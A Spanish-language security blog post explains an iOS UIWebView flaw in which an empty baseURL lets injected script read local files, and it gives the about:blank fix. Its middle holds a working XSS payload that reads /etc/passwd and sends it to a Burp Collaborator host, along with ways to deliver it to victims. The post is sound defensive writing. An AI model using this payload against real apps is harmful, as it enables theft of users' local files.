Esta entrada se trata de una vulnerabilidad sencilla, pero peligrosa, que he visto en varias ocasiones. Creo que esta falla debería ser mas conocida – especialmente por los ingenieros informáticos (y hackers blancos!). Ellos deberían asegurar que han construido sus Web Views firmementes. (Read in English)
(Aviso: Gracias a @MaxiSoler por ayudarme a arreglar unos errores de español! Un aviso: quiero contaros que español no es mi primer idioma – así que espero que podéis perdonarme si hay algunos errores!)
Aunque este asunto es sencillo, mucha gente no lo entiende – cuando usas un WebView, a menudo verías algo así:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]
Muchos ingenieros informáticos suponen que cuando dan el ‘baseURL’ el @””, todo está seguro – porque como el baseURL es un String vacío, que un hacker no podría realizar llamadas a cualquier sitio malicioso – pero están equivocados.
De verdad, cuando el baseUrl está configurado con “”, un hacker tiene el acceso a la sistema de archivos (utilizando ‘file://’ url scheme), y también puede conectar a cualquier sitio. Así, puede circunvala el SOP (Same Origin Policy).
Otro método con que debes tener cuidado es: - loadData:MIMEType:textEncodingName:baseURL:
Se puede explotar esta vulnerabilidad de varias formas – aquí os presento un ejemplo sencillo de XSS:
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///etc/passwd",false);
request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
request.send(request.responseText);
</script>Para vosotros que no conocéis el XSS bien, este fragmento se abre el archivo ‘/etc/passwd’, y lo envía al servidor del hacker (aquí, utilizo ‘Burp Collaborator’ para recibirlo).
Entonces, guardo este fragmento como un archivo .html, lo envio a iCloud, y lo comparto en el app (La mayoría de tiempo, utilizo el ‘Files’ app que se incluye en iOS 11).
Entonces, cuando la víctima abre el archivo:
He recibido el /etc/passwd archivo!
Otra maneras de explotar esta vulnerabilidad incluyen:
- Apps que permiten que los usuarios abren un URL dentro del app – un hacker podría enviar un URL peligroso a la víctima (por un ‘chat’, por ejemplo), y la víctima podría abrirlo dentro de un WebView.
- El abuso de ‘URL Schemes’. El hacker podría enviar una URL peligrosa por otras vías (por ejemplo, por iMessage). Si el URL scheme abre el URL en un WebView, el hacker podría aprovecharlo.
El arreglo más sencillo – deberías configurar el ‘baseURL’ con el String @”about:blank”, en lugar de @””. Por ejemplo:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]
Ahora, el WebView está más o menos ‘sandboxed’ – no puede acceder al sistema de archivos. Un hacker todavía podría hacer un ‘popup’ con texto, pero no podría robar ningún dato, ni comunicar con su servido.
Hay que saber que este arreglo puede interferir con su app, si tienes que acceder al sistema de archivos para conseguir imágenes, por ejemplo. En tal caso, tendréis que crear una solución más complicada. Tendrías que hacer una forma de ‘Whitelist’, o algo así.
También, quiero contaros que este ataque se pone más difícil si el app usa el nuevo ‘WKWebview’ en lugar de ‘UIWebView’. WKWebView tiene seguridad mejor – no permite las llamadas de AJAX a la sistema de archivos por defecto – así que, el ejemplo de ataque de antes no funcionará, a menos que el ingeniero lo ha permitido. Además, WKWebView tiene la opción de desactivar Javascript dentro del web view.
Gracias, y espero que vosotros habríais disfrutado esta entrada!
